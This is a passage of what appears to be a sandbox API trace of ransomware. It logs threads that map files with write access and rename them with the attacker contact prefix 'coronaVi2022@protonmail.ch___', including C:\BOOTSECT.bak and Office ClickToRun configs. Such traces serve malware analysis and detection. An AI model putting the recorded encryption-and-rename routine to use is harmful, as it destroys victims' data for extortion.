	[0082.677] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=272046) returned 1
	[0082.677] CreateFileMappingA (hFile=0x2a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x426bb, lpName=0x0) returned 0x4e8
	[0082.677] MapViewOfFile (hFileMappingObject=0x4e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0082.735] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0082.738] CloseHandle (hObject=0x4e8) returned 1
	[0082.738] GetCurrentThreadId () returned 0xe70
	[0082.738] FlushFileBuffers (hFile=0x2a8) returned 1
	[0082.740] CloseHandle (hObject=0x2a8) returned 1
	[0082.749] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___ParameterInfo.xml") returned 68
	[0082.749] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\coronavi2022@protonmail.ch___parameterinfo.xml")) returned 1
	[0082.750] free (_Block=0x2f2b560) 
	[0082.750] RtlExitUserThread (Status=0x0) 

Thread:
	id = 142
	os_tid = 0x9d0

	[0082.765] _alloca_probe () returned 0x40328a
	[0082.766] GetCurrentThreadId () returned 0x9d0
	[0082.766] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", dwFileAttributes=0x80) returned 1
	[0082.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8
	[0082.766] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=41080) returned 1
	[0082.766] CreateFileMappingA (hFile=0x4e8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa07f, lpName=0x0) returned 0x4ec
	[0082.766] MapViewOfFile (hFileMappingObject=0x4ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0082.775] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0082.776] CloseHandle (hObject=0x4ec) returned 1
	[0082.776] GetCurrentThreadId () returned 0x9d0
	[0082.776] FlushFileBuffers (hFile=0x4e8) returned 1
	[0082.855] CloseHandle (hObject=0x4e8) returned 1
	[0082.857] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___SplashScreen.bmp") returned 67
	[0082.857] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\coronavi2022@protonmail.ch___splashscreen.bmp")) returned 1
	[0082.859] free (_Block=0x2f2b560) 
	[0082.859] RtlExitUserThread (Status=0x0) 

Thread:
	id = 143
	os_tid = 0xfa8

	[0082.783] _alloca_probe () returned 0x40328a
	[0082.783] GetCurrentThreadId () returned 0xfa8
	[0082.783] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml", dwFileAttributes=0x80) returned 1
	[0082.784] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0
	[0082.784] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=14084) returned 1
	[0082.784] CreateFileMappingA (hFile=0x4f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3707, lpName=0x0) returned 0x4f4
	[0082.784] MapViewOfFile (hFileMappingObject=0x4f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33d0000
	[0082.787] UnmapViewOfFile (lpBaseAddress=0x33d0000) returned 1
	[0082.787] CloseHandle (hObject=0x4f4) returned 1
	[0082.787] GetCurrentThreadId () returned 0xfa8
	[0082.787] FlushFileBuffers (hFile=0x4f0) returned 1
	[0082.865] CloseHandle (hObject=0x4f0) returned 1
	[0082.867] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___Strings.xml") returned 62
	[0082.867] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___Strings.xml" (normalized: "c:\\588bce7c90097ed212\\coronavi2022@protonmail.ch___strings.xml")) returned 1
	[0082.867] free (_Block=0x2f2c568) 
	[0082.867] RtlExitUserThread (Status=0x0) 

Thread:
	id = 144
	os_tid = 0x11a4

	[0082.790] _alloca_probe () returned 0x40328a
	[0082.791] GetCurrentThreadId () returned 0x11a4
	[0082.791] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", dwFileAttributes=0x80) returned 1
	[0082.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8
	[0082.791] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x350ff5c | out: lpFileSize=0x350ff5c*=38898) returned 1
	[0082.791] CreateFileMappingA (hFile=0x4f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97f3, lpName=0x0) returned 0x4fc
	[0082.791] MapViewOfFile (hFileMappingObject=0x4fc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0082.799] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0082.800] CloseHandle (hObject=0x4fc) returned 1
	[0082.800] GetCurrentThreadId () returned 0x11a4
	[0082.800] FlushFileBuffers (hFile=0x4f8) returned 1
	[0082.861] CloseHandle (hObject=0x4f8) returned 1
	[0082.864] _swprintf (in: param_1=0x3509f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___UiInfo.xml") returned 61
	[0082.864] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\coronavi2022@protonmail.ch___uiinfo.xml")) returned 1
	[0082.864] free (_Block=0x2f2e578) 
	[0082.864] RtlExitUserThread (Status=0x0) 

Thread:
	id = 145
	os_tid = 0xbf8

	[0082.802] _alloca_probe () returned 0x40328a
	[0082.803] GetCurrentThreadId () returned 0xbf8
	[0082.803] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", dwFileAttributes=0x80) returned 1
	[0082.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500
	[0082.803] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x364ff5c | out: lpFileSize=0x364ff5c*=104072) returned 1
	[0082.803] CreateFileMappingA (hFile=0x500, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1968f, lpName=0x0) returned 0x504
	[0082.803] MapViewOfFile (hFileMappingObject=0x504, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3650000
	[0082.824] UnmapViewOfFile (lpBaseAddress=0x3650000) returned 1
	[0082.825] CloseHandle (hObject=0x504) returned 1
	[0082.825] GetCurrentThreadId () returned 0xbf8
	[0082.825] FlushFileBuffers (hFile=0x500) returned 1
	[0082.973] CloseHandle (hObject=0x500) returned 1
	[0082.977] _swprintf (in: param_1=0x3649f1c, param_2="%s%s___%s" | out: param_1="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___watermark.bmp") returned 64
	[0082.978] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\coronaVi2022@protonmail.ch___watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\coronavi2022@protonmail.ch___watermark.bmp")) returned 1
	[0082.978] free (_Block=0x2f2f580) 
	[0082.978] RtlExitUserThread (Status=0x0) 

Thread:
	id = 146
	os_tid = 0xe8c

	[0083.586] _alloca_probe () returned 0x40328a
	[0083.587] GetCurrentThreadId () returned 0xe8c
	[0083.587] SetFileAttributesW (lpFileName="C:\\BOOTSECT.bak", dwFileAttributes=0x80) returned 1
	[0083.587] CreateFileW (lpFileName="C:\\BOOTSECT.bak" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0
	[0083.588] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=8192) returned 1
	[0083.588] CreateFileMappingA (hFile=0x4f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2000, lpName=0x0) returned 0x500
	[0083.588] MapViewOfFile (hFileMappingObject=0x500, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0083.590] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0083.590] CloseHandle (hObject=0x500) returned 1
	[0083.590] GetCurrentThreadId () returned 0xe8c
	[0083.590] FlushFileBuffers (hFile=0x4f0) returned 1
	[0083.660] CloseHandle (hObject=0x4f0) returned 1
	[0083.662] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\coronaVi2022@protonmail.ch___BOOTSECT.bak") returned 44
	[0083.662] MoveFileW (lpExistingFileName="C:\\BOOTSECT.bak" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\coronaVi2022@protonmail.ch___BOOTSECT.bak" (normalized: "c:\\coronavi2022@protonmail.ch___bootsect.bak")) returned 1
	[0083.663] free (_Block=0x2f556b0) 
	[0083.663] RtlExitUserThread (Status=0x0) 

Thread:
	id = 147
	os_tid = 0x29c

	[0083.671] _alloca_probe () returned 0x40328a
	[0083.671] GetCurrentThreadId () returned 0x29c
	[0083.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", dwFileAttributes=0x80) returned 1
	[0083.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504
	[0083.672] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=4136) returned 1
	[0083.672] CreateFileMappingA (hFile=0x504, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x102f, lpName=0x0) returned 0x508
	[0083.672] MapViewOfFile (hFileMappingObject=0x508, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0083.674] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0083.674] CloseHandle (hObject=0x508) returned 1
	[0083.674] GetCurrentThreadId () returned 0x29c
	[0083.674] FlushFileBuffers (hFile=0x504) returned 1
	[0083.688] CloseHandle (hObject=0x504) returned 1
	[0083.691] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\coronaVi2022@protonmail.ch___C2RHeartbeatConfig.xml") returned 109
	[0083.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\coronaVi2022@protonmail.ch___C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\coronavi2022@protonmail.ch___c2rheartbeatconfig.xml")) returned 1
	[0083.692] free (_Block=0x2f556b0) 
	[0083.692] RtlExitUserThread (Status=0x0) 

Thread:
	id = 148
	os_tid = 0xf28

	[0083.695] _alloca_probe () returned 0x40328a
	[0083.695] GetCurrentThreadId () returned 0xf28
	[0083.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", dwFileAttributes=0x80) returned 1
	[0083.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508
	[0083.697] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4782) returned 1
	[0083.697] CreateFileMappingA (hFile=0x508, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12bb, lpName=0x0) returned 0x50c
	[0083.697] MapViewOfFile (hFileMappingObject=0x50c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0083.698] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0083.699] CloseHandle (hObject=0x50c) returned 1
	[0083.699] GetCurrentThreadId () returned 0xf28
	[0083.699] FlushFileBuffers (hFile=0x508) returned 1
	[0083.798] CloseHandle (hObject=0x508) returned 1
	[0083.800] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\coronaVi2022@protonmail.ch___OfficeUpdateSchedule.xml") returned 111
	[0083.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\coronaVi2022@protonmail.ch___OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\coronavi2022@protonmail.ch___officeupdateschedule.xml")) returned 1
	[0083.801] free (_Block=0x2f5c6e8) 
	[0083.801] RtlExitUserThread (Status=0x0) 

Thread:
	id = 149
	os_tid = 0x1320

	[0083.701] _alloca_probe () returned 0x40328a
	[0083.701] GetCurrentThreadId () returned 0x1320
	[0083.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", dwFileAttributes=0x80) returned 1
	[0083.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510
	[0083.702] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=4450) returned 1
	[0083.702] CreateFileMappingA (hFile=0x510, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1163, lpName=0x0) returned 0x514
	[0083.702] MapViewOfFile (hFileMappingObject=0x514, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0083.704] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0083.704] CloseHandle (hObject=0x514) returned 1
	[0083.704] GetCurrentThreadId () returned 0x1320
	[0083.704] FlushFileBuffers (hFile=0x510) returned 1
	[0083.706] CloseHandle (hObject=0x510) returned 1
	[0083.708] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\coronaVi2022@protonmail.ch___ServiceWatcherSchedule.xml") returned 113
	[0083.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\coronaVi2022@protonmail.ch___ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\coronavi2022@protonmail.ch___servicewatcherschedule.xml")) returned 1
	[0083.708] free (_Block=0x2f556b0) 
	[0083.708] RtlExitUserThread (Status=0x0) 

Thread:
	id = 150
	os_tid = 0xf80

	[0083.714] _alloca_probe () returned 0x40328a
	[0083.714] GetCurrentThreadId () returned 0xf80
	[0083.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", dwFileAttributes=0x80) returned 0
	[0083.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.715] free (_Block=0x2f556b0) 
	[0083.715] RtlExitUserThread (Status=0x0) 

Thread:
	id = 151
	os_tid = 0xeac

	[0083.740] _alloca_probe () returned 0x40328a
	[0083.741] GetCurrentThreadId () returned 0xeac
	[0083.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", dwFileAttributes=0x80) returned 0
	[0083.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.742] free (_Block=0x2f5f700) 
	[0083.742] RtlExitUserThread (Status=0x0) 

Thread:
	id = 152
	os_tid = 0x798

	[0083.764] _alloca_probe () returned 0x40328a
	[0083.764] GetCurrentThreadId () returned 0x798
	[0083.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", dwFileAttributes=0x80) returned 0
	[0083.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.765] free (_Block=0x2f65730) 
	[0083.765] RtlExitUserThread (Status=0x0) 

Thread:
	id = 153
	os_tid = 0xd88

	[0083.767] _alloca_probe () returned 0x40328a
	[0083.767] GetCurrentThreadId () returned 0xd88
	[0083.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", dwFileAttributes=0x80) returned 0
	[0083.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.768] free (_Block=0x2f66738) 
	[0083.768] RtlExitUserThread (Status=0x0) 

Thread:
	id = 154
	os_tid = 0xbd8

	[0083.769] _alloca_probe () returned 0x40328a
	[0083.770] GetCurrentThreadId () returned 0xbd8
	[0083.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", dwFileAttributes=0x80) returned 0
	[0083.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.771] free (_Block=0x2f65730) 
	[0083.771] RtlExitUserThread (Status=0x0) 

Thread:
	id = 155
	os_tid = 0xd80

	[0083.772] _alloca_probe () returned 0x40328a
	[0083.772] GetCurrentThreadId () returned 0xd80
	[0083.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", dwFileAttributes=0x80) returned 0
	[0083.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.773] free (_Block=0x2f66738) 
	[0083.773] RtlExitUserThread (Status=0x0) 

Thread:
	id = 156
	os_tid = 0x12dc

	[0083.774] _alloca_probe () returned 0x40328a
	[0083.775] GetCurrentThreadId () returned 0x12dc
	[0083.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", dwFileAttributes=0x80) returned 0
	[0083.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.775] free (_Block=0x2f66738) 
	[0083.775] RtlExitUserThread (Status=0x0) 

Thread:
	id = 157
	os_tid = 0x1350

	[0083.777] _alloca_probe () returned 0x40328a
	[0083.777] GetCurrentThreadId () returned 0x1350
	[0083.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", dwFileAttributes=0x80) returned 0
	[0083.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.778] free (_Block=0x2f66738) 
	[0083.778] RtlExitUserThread (Status=0x0) 

Thread:
	id = 158
	os_tid = 0xa74

	[0083.779] _alloca_probe () returned 0x40328a
	[0083.780] GetCurrentThreadId () returned 0xa74
	[0083.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", dwFileAttributes=0x80) returned 0
	[0083.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.780] free (_Block=0x2f66738) 
	[0083.780] RtlExitUserThread (Status=0x0) 

Thread:
	id = 159
	os_tid = 0xd78

	[0083.781] _alloca_probe () returned 0x40328a
	[0083.782] GetCurrentThreadId () returned 0xd78
	[0083.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", dwFileAttributes=0x80) returned 0
	[0083.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.782] free (_Block=0x2f66738) 
	[0083.782] RtlExitUserThread (Status=0x0) 

Thread:
	id = 160
	os_tid = 0xfd4

	[0083.807] _alloca_probe () returned 0x40328a
	[0083.808] GetCurrentThreadId () returned 0xfd4
	[0083.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", dwFileAttributes=0x80) returned 0
	[0083.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.810] free (_Block=0x2f69750) 
	[0083.810] RtlExitUserThread (Status=0x0) 

Thread:
	id = 161
	os_tid = 0xff4

	[0083.826] _alloca_probe () returned 0x40328a
	[0083.826] GetCurrentThreadId () returned 0xff4
	[0083.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", dwFileAttributes=0x80) returned 0
	[0083.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.827] free (_Block=0x2f6b760) 
	[0083.828] RtlExitUserThread (Status=0x0) 

Thread:
	id = 162
	os_tid = 0x518

	[0083.847] _alloca_probe () returned 0x40328a
	[0083.847] GetCurrentThreadId () returned 0x518
	[0083.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", dwFileAttributes=0x80) returned 0
	[0083.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.848] free (_Block=0x2f6b760) 
	[0083.848] RtlExitUserThread (Status=0x0) 

Thread:
	id = 163
	os_tid = 0x4f4

	[0083.853] _alloca_probe () returned 0x40328a
	[0083.854] GetCurrentThreadId () returned 0x4f4
